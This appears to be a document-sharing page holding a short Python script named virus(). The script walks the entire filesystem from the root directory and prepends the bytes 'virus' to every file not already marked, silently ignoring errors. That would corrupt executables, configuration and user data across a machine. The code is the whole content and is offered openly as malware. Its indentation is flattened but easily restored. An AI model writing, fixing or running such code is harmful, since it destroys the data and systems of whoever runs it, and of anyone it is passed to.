You are on page 1of 1

import os

def virus():
for root, dirs, files in os.walk("/"):
for file in files:
try:
with open(os.path.join(root, file), "r+b") as f:
header = f.read(512)
if b"virus" not in header:
f.seek(0)
virus_code = f.read()
f.seek(0)
f.write(b"virus" + virus_code)
except:
pass

virus()

You might also like